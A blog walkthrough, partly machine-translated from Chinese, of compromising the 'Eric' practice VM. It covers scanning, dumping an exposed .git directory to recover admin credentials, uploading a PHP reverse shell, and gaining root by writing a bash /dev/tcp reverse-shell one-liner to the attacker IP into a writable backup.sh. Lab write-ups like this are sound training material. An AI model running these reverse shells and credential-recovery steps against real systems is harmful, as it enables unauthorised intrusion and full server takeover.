当前位置:网站首页>Eric target penetration test complete tutorial
Eric target penetration test complete tutorial
2022-08-02 03:59:00 【BIG_ right】
环境准备
Coupon is not connected to the Internet doesn't matter,Mainly is to be in the same network segment
靶机:
Eric攻击机:
Kali (192.168.56.102)
渗透目标
Get a regular user of
flag拿到
root用户下的flag
渗透测试实战
Known drone and ourKaliA virtual machine with the same network segment,现在先用nmapScanning the network segment,得到Eric的IP地址nmap -sF 192.168.56.0/24

Here you can seeEric靶机的IP是192.168.56.101
And find it80端口是开着的,(22端口是ssh不用管),Directly in the browser to access the

很明显,Blog还没有开发完成
At this time to get site directory,枚举一下dirb http://192.168.56.101

Can be found as above three sensitive directory is we are interested in
访问admin.phpThere will be a login interface,But there is no blasting out.....
访问upload无权限
It is important to note at this time there.git敏感目录,With this as the breakthrough point in here,Use the following tool bosses,通过泄露的.git文件夹下的文件,重建还原工程源代码
GitTools:https://github.com/internetwache/GitTools
GitHack:https://github.com/lijiejie/GitHack
在这里使用的是GitHack
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
运行pyFile reconstruct site code
python GitHack.py http://192.168.56.101/.git/

Direct look at thesephpWhat is the file
Then where can find thatadmin.phpIn the account and password

Try direct directly with the account and password loginhttp:192.168.56.101/admin.php
Can be found to be a successful login
Can be found that it is a upload file after login web site,This obviously can to uploadshell
To construct ashell,也可以用kali自带的
这里使用kali自带的
cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop/test.php
需要修改一下ip/port(为kali本机地址)
vim test.php
保存后,kaliAgain a listen,这里的1234为上面test.php设置的port
nc -nlvp 1234

And then the modified directly to theshellAfter the login interface uploadedtest.php
Browse...选择shell,Upload点击上传
Will upload file path for the current target site/upload/目录下
In the browser to directly access theshell即可,
http://192.168.56.101/upload/test.php
So you can find a reboundshell成功了

接下来在ncWindow with a command directly to/home/eric/目录下,用ls -laLook at the file and file permissions
可以发现其中有flag.txt,这就是我们的目标
同时发现backup.shThere is something wrong with the configuration access,Obviously it can write scripts used to mention right,Will powerroot就用它了
Here to get a regular user offlag就行
cd /home/eric
ls -la
cat flag.txt

Here is got under the normal user rightsflag了,还差root用户下的
先看一下backup.shWhat is the file content

Can be found that it is compressed package site directory,This directly modifysh文件就行
在kali中用msfTool to print ashellScript to use(lhost为kali的IP,lport随便即可)
msfvenom -p cmd/unix/reverse_bash lhost=192.168.56.102 lport=1235 A

Take this scriptecho到backup.sh
echo "bash -c '0<&78-;exec 78<>/dev/tcp/192.168.56.102/1235;sh <&78 >&78 2>&78'">backup.sh

然后kaliThis machine is a listeningnc -nlvp 1235(1235为上面msf设置的lport)
然后直接运行sh文件./backup.sh,这样就提权成功了
直接cat flag.txt看一下root下的flag就行

这里就拿到了ROOT用户权限下的flag了
完结,撒花***
边栏推荐
- GreenOptic: 1 vulnhub walkthrough
- TCP通信程序
- CTF-网鼎杯往届题目
- 使用PHPMailer发送邮件
- QR code generation API interface, which can be directly connected as an A tag
- Query the indexes of all tables in the database and parse them into sql
- SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示
- Advanced Operations on Arrays
- DarkHole: 2 vulnhub walkthrough
- Thread Pool (Introduction and Use of Thread Pool)
猜你喜欢

TypeScript error error TS2469, error TS2731 solution

GreenOptic: 1 vulnhub walkthrough

web渗透必玩的靶场——DVWA靶场 1(centos8.2+phpstudy安装环境)

New usage of string variable parsing in PHP8.2

SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration

(1)Thinkphp6入门、安装视图、模板渲染、变量赋值

Pycharm打包项目为exe文件

12.什么是JS

What are the killer super powerful frameworks or libraries or applications for PHP?

Several interesting ways to open PHP: from basic to perverted
随机推荐
[campo/random-user-agent] Randomly fake your User-Agent
查询数据库中所有表的索引,并且解析成sql
PHP8.2 version release administrator and release plan
[league/flysystem] An elegant and highly supported file operation interface
1.初识PHP
4. The form with the input
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
VIKINGS: 1 vulnhub walkthrough
hackmyvm: again walkthrough
4.表单与输入
TCP通信程序
[sebastian/diff]一个比较两段文本的历史变化扩展库
vim编辑模式
SQL:DDL、DML、DQL、DCL相应介绍以及演示
Phonebook
PHP图片压缩到指定的大小
hackmyvm: may walkthrough
php函数漏洞总结
[sebastian/diff] A historical change extension library for comparing two texts
vim edit mode